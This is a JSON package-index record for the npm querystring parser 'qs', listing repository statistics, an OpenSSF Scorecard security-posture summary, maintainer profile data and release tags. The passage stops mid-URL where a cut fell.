{"id":2212590,"name":"qs","ecosystem":"npm","description":"A querystring parser that supports nesting and arrays, with a depth limit","homepage":"https://github.com/ljharb/qs","licenses":"BSD-3-Clause","normalized_licenses":["BSD-3-Clause"],"repository_url":"https://github.com/ljharb/qs","keywords_array":["querystring","qs","query","url","parse","stringify"],"namespace":null,"versions_count":151,"first_release_published_at":"2011-02-04T04:40:23.984Z","latest_release_published_at":"2026-10-14T22:06:17.002Z","latest_release_number":"6.16.1","latest_published_release_number":"6.16.1","last_synced_at":"2026-10-21T15:18:29.336Z","created_at":"2022-04-09T22:34:18.697Z","updated_at":"2026-10-22T01:18:03.187Z","registry_url":"https://www.npmjs.com/package/qs","install_command":"npm install qs","documentation_url":null,"metadata":{"funding":{"url":"https://github.com/sponsors/ljharb"},"dist-tags":{"v5.x-latest":"5.2.1","v6.0-latest":"6.0.6","v6.1-latest":"6.1.4","v6.2-latest":"6.2.6","v6.3-latest":"6.3.5","v6.4-latest":"6.4.3","v6.5-latest":"6.5.5","v6.6-latest":"6.6.3","v6.7-latest":"6.7.5","v6.8-latest":"6.8.5","v6.9-latest":"6.9.9","v6.10-latest":"6.10.7","v6.11-latest":"6.11.4","v6.12-latest":"6.12.5","v6.13-latest":"6.13.3","latest":"6.16.1"},"contentPolicy":null},"repo_metadata":{"id":19041618,"uuid":"22266795","full_name":"ljharb/qs","owner":"ljharb","description":"A querystring parser and serializer with nesting support","archived":false,"fork":false,"pushed_at":"2026-10-14T23:12:37.000Z","size":12763,"stargazers_count":8945,"open_issues_count":67,"forks_count":945,"subscribers_count":71,"default_branch":"main","last_synced_at":"2026-10-15T05:00:05.186Z","etag":null,"topics":["browsers","encoding","javascript","node","nodejs","parse","querystrings","stringify","url-parsing"],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ljharb.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.md","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":".github/SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":["ljharb"],"patreon":null,"open_collective":null,"ko_fi":"ljharb","tidelift":null,"community_bridge":null,"liberapay":null,"issuehunt":null,"otechie":null,"polar":null,"buy_me_a_coffee":null,"thanks_dev":"ljharb","custom":null}},"created_at":"2014-07-25T18:35:41.000Z","updated_at":"2026-10-15T03:24:16.000Z","dependencies_parsed_at":"2026-10-15T00:44:03.713Z","dependency_job_id":null,"html_url":"https://github.com/ljharb/qs","commit_stats":{"total_commits":751,"total_committers":76,"mean_commits":9.881578947368421,"dds":"0.44474034620505987","last_synced_commit":"3c8a6f5a1e8d2c4772fd733c7ca1a28e92498fd7"},"previous_names":["hapijs/qs","hapijs/riddler"],"tags_count":151,"template":false,"template_full_name":null,"purl":"pkg:github/ljharb/qs","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ljharb","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/sbom","scorecard":{"id":455176,"data":{"date":"2025-08-11","repo":{"name":"github.com/ljharb/qs","commit":"049a6b384eec48a6c563870c70057a4a3b81e7a7"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.2,"checks":[{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: .github/SECURITY.md:1","Info: Found linked content: .github/SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: .github/SECURITY.md:1","Info: Found text in security policy: .github/SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Maintained","score":5,"reason":"1 commit(s) and 6 issue activity found in the last 90 days -- score normalized to 5","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/require-allow-edits.yml:11","Info: topLevel 'contents' permission set to 'read': .github/workflows/node-aught.yml:6","Info: topLevel 'contents' permission set to 'read': .github/workflows/node-pretest.yml:6","Info: topLevel 'contents' permission set to 'read': .github/workflows/node-tens.yml:6","Info: topLevel 'contents' permission set to 'read': .github/workflows/node-twenties.yml:6","Warn: no topLevel permission defined: .github/workflows/rebase.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/require-allow-edits.yml:6","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.md:0","Info: FSF or OSI recognized license: BSD 3-Clause \"New\" or \"Revised\" License: LICENSE.md:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: third-party GitHubAction not pinned by hash: .github/workflows/node-aught.yml:10: update your workflow using https://app.stepsecurity.io/secureworkflow/ljharb/qs/node-aught.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/node-pretest.yml:10: update your workflow using https://app.stepsecurity.io/secureworkflow/ljharb/qs/node-pretest.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/node-tens.yml:10: update your workflow using https://app.stepsecurity.io/secureworkflow/ljharb/qs/node-tens.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/node-twenties.yml:10: update your workflow using https://app.stepsecurity.io/secureworkflow/ljharb/qs/node-twenties.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/rebase.yml:7: update your workflow using https://app.stepsecurity.io/secureworkflow/ljharb/qs/rebase.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/require-allow-edits.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/ljharb/qs/require-allow-edits.yml/main?enable=pin","Info:   0 out of   6 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 2 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-19T09:23:09.230Z","repository_id":19041618,"created_at":"2025-08-19T09:23:09.230Z","updated_at":"2025-08-19T09:23:09.230Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":344836268,"owners_count":38329846,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-15T02:00:06.843Z","response_time":105,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"ljharb","name":"Jordan Harband","uuid":"45469","kind":"user","description":"software engineer/nerd/teacher/will try anything once; surgeon with git rebase. @TC39 ex @Coinbase @Airbnb @Twitter @MobBase. Fav punctuation ⸮, scent petrichor","email":"","website":"https://linkedin.com/in/ljharb","location":"Hillsborough, CA","twitter":"LJHarb","company":"@socketdev @tc39 @ecma-tc54","icon_url":"https://avatars.githubusercontent.com/u/45469?u=6ab74b3b934f9659a90b588062c2c4328e40c6be\u0026v=4","repositories_count":314,"last_synced_at":"2026-10-19T13:35:42.145Z","metadata":{"has_sponsors_listing":true,"funding":{"github":["ljharb"],"patreon":null,"open_collective":null,"ko_fi":"ljharb","tidelift":null,"community_bridge":null,"liberapay":null,"issuehunt":null,"otechie":null,"polar":null,"buy_me_a_coffee":null,"thanks_dev":"ljharb","custom":null}},"html_url":"https://github.com/ljharb","funding_links":["https://github.com/sponsors/ljharb","https://ko-fi.com/ljharb","https://thanks.dev/ljharb"],"total_stars":11559,"followers":8333,"following":396,"created_at":"2022-11-02T16:19:00.017Z","updated_at":"2026-10-19T13:35:42.159Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ljharb","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ljharb/repositories"},"tags":[{"name":"v6.16.1","sha":"2471b66ae696a8a10915c01453ae2c0f139a5adc","kind":"tag","published_at":"2026-10-14T21:57:42.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.16.1","html_url":"https://github.com/ljharb/qs/releases/tag/v6.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.16.1/manifests"},{"name":"v6.16.0","sha":"bb9379e01fad04c601478acd6152143cb20c984b","kind":"tag","published_at":"2026-08-29T23:43:54.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.16.0","html_url":"https://github.com/ljharb/qs/releases/tag/v6.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.16.0/manifests"},{"name":"v6.15.3","sha":"18d085e919dae70c8f1b200ab99323058edab2c2","kind":"tag","published_at":"2026-06-24T19:49:13.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.15.3","html_url":"https://github.com/ljharb/qs/releases/tag/v6.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.15.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.15.3/manifests"},{"name":"v6.15.2","sha":"9aca4076fe788338c67cf7e115f0be6bc58d85a8","kind":"tag","published_at":"2026-05-16T23:18:01.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.15.2","html_url":"https://github.com/ljharb/qs/releases/tag/v6.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.15.2/manifests"},{"name":"v6.15.1","sha":"3f5e1c528c967d915096787efbffa73cf6044170","kind":"tag","published_at":"2026-04-08T19:36:56.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.15.1","html_url":"https://github.com/ljharb/qs/releases/tag/v6.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.15.1/manifests"},{"name":"v6.15.0","sha":"d9b4c66303375493c68c42d68e363e50b1753771","kind":"tag","published_at":"2026-02-15T06:53:34.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.15.0","html_url":"https://github.com/ljharb/qs/releases/tag/v6.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.15.0/manifests"},{"name":"v6.12.5","sha":"85cc8cac6b444c9b4cb1172a151ac8fdee0a0301","kind":"tag","published_at":"2026-02-13T00:01:23.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.12.5","html_url":"https://github.com/ljharb/qs/releases/tag/v6.12.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.12.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.12.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.12.5/manifests"},{"name":"v6.11.4","sha":"ffc12aa71030f508ab28cccbb1987424abf52379","kind":"tag","published_at":"2026-02-13T00:01:23.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.11.4","html_url":"https://github.com/ljharb/qs/releases/tag/v6.11.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.11.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.11.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.11.4/manifests"},{"name":"v6.10.7","sha":"d60bab35a42b3c789d7a1461ea176eaee74eb751","kind":"tag","published_at":"2026-02-13T00:01:22.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.10.7","html_url":"https://github.com/ljharb/qs/releases/tag/v6.10.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.10.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.10.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.10.7/manifests"},{"name":"v6.9.9","sha":"05b0e9cf2251a66cb68a2823cba930d184267fc9","kind":"tag","published_at":"2026-02-13T00:01:22.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.9.9","html_url":"https://github.com/ljharb/qs/releases/tag/v6.9.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.9.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.9.9/manifests"},{"name":"v6.8.5","sha":"6ccb8806887c79b51f9302614799ee3d88ae54ac","kind":"tag","published_at":"2026-02-13T00:01:22.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.8.5","html_url":"https://github.com/ljharb/qs/releases/tag/v6.8.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.8.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.8.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.8.5/manifests"},{"name":"v6.7.5","sha":"896fe4b2d8470f571b66dd838192e31497559938","kind":"tag","published_at":"2026-02-13T00:01:21.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.7.5","html_url":"https://github.com/ljharb/qs/releases/tag/v6.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.7.5/manifests"},{"name":"v6.6.3","sha":"9d85d24e92a4e1de993290ad51ae2603888bdf14","kind":"tag","published_at":"2026-02-13T00:01:21.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.6.3","html_url":"https://github.com/ljharb/qs/releases/tag/v6.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.6.3/manifests"},{"name":"v6.5.5","sha":"3a6d9f8e298703028bbd426a3bc49a1fb6a66363","kind":"tag","published_at":"2026-02-13T00:01:21.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.5.5","html_url":"https://github.com/ljharb/qs/releases/tag/v6.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.5.5/manifests"},{"name":"v6.4.3","sha":"1f7f6ac1c121cda4204e37e137c99892c93b7cc5","kind":"tag","published_at":"2026-02-13T00:01:20.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.4.3","html_url":"https://github.com/ljharb/qs/releases/tag/v6.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.4.3/manifests"},{"name":"v6.3.5","sha":"062a2a3ed46f9a580acb441a6ec622a2d6f2dce3","kind":"tag","published_at":"2026-02-13T00:01:20.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.3.5","html_url":"https://github.com/ljharb/qs/releases/tag/v6.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.3.5/manifests"},{"name":"v6.2.6","sha":"bbfeec006dc96ad56836a4eb72ff7d264642c11e","kind":"tag","published_at":"2026-02-13T00:01:20.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.2.6","html_url":"https://github.com/ljharb/qs/releases/tag/v6.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.2.6/manifests"},{"name":"v6.1.4","sha":"0fe234b6c41e20c7feaa34b68aeccc0bce4a8d07","kind":"tag","published_at":"2026-02-13T00:01:20.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.1.4","html_url":"https://github.com/ljharb/qs/releases/tag/v6.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.1.4/manifests"},{"name":"v6.0.6","sha":"7be9fbbe1432e58e682413933d34ecd3b32f8407","kind":"tag","published_at":"2026-02-13T00:01:20.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.0.6","html_url":"https://github.com/ljharb/qs/releases/tag/v6.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.0.6/manifests"},{"name":"v6.13.3","sha":"b70bd5bc7441889bfdc266733c09ab9f09647433","kind":"tag","published_at":"2026-02-12T23:47:44.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.13.3","html_url":"https://github.com/ljharb/qs/releases/tag/v6.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.13.3/manifests"},{"name":"v6.0.5","sha":"a73f299ab60e81e91220b63871930000b51384e6","kind":"tag","published_at":"2026-02-12T06:46:15.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.0.5","html_url":"https://github.com/ljharb/qs/releases/tag/v6.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.0.5/manifests"},{"name":"v6.1.3","sha":"cb45ba170380e6c3e3760f0ba9736594e3a874e4","kind":"tag","published_at":"2026-02-12T06:44:44.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.1.3","html_url":"https://github.com/ljharb/qs/releases/tag/v6.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.1.3/manifests"},{"name":"v6.2.5","sha":"d68f3545369714c89717ebb9e42a8e4ea67ded63","kind":"tag","published_at":"2026-02-12T06:43:28.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.2.5","html_url":"https://github.com/ljharb/qs/releases/tag/v6.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.2.5/manifests"},{"name":"v6.3.4","sha":"aa3f9f470eb6db460dbdb7545b2dcccfbf17d0ed","kind":"tag","published_at":"2026-02-12T06:15:42.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.3.4","html_url":"https://github.com/ljharb/qs/releases/tag/v6.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.3.4/manifests"},{"name":"v6.4.2","sha":"9b50144ddcf588d60c86e427b6b70f158454cf86","kind":"tag","published_at":"2026-02-12T06:00:53.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.4.2","html_url":"https://github.com/ljharb/qs/releases/tag/v6.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.4.2/manifests"},{"name":"v6.5.4","sha":"c19048854aa13688f51208442e84717d7b280aae","kind":"tag","published_at":"2026-02-12T05:59:35.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.5.4","html_url":"https://github.com/ljharb/qs/releases/tag/v6.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.5.4/manifests"},{"name":"v6.6.2","sha":"5e1c72c13fe2be3bc18eb479fb9ac918aa70d623","kind":"tag","published_at":"2026-02-12T05:59:06.000Z","download_url":"https://codeload.github.com/ljharb/qs/tar.gz/v6.6.2","html_url":"https://github.com/ljharb/qs/releases/tag/v6.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ljharb/qs@v6.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ljharb%2Fqs/tags/v6.6.2/manifests"},{"name":"v6.7.4","sha":"d38e43af76c6fa7405f70a49726603d917f1e31e","kind":"tag","published_at":"2026-02-12T05:58:37.000Z","download_url":"https://codeload.github.com/ljharb/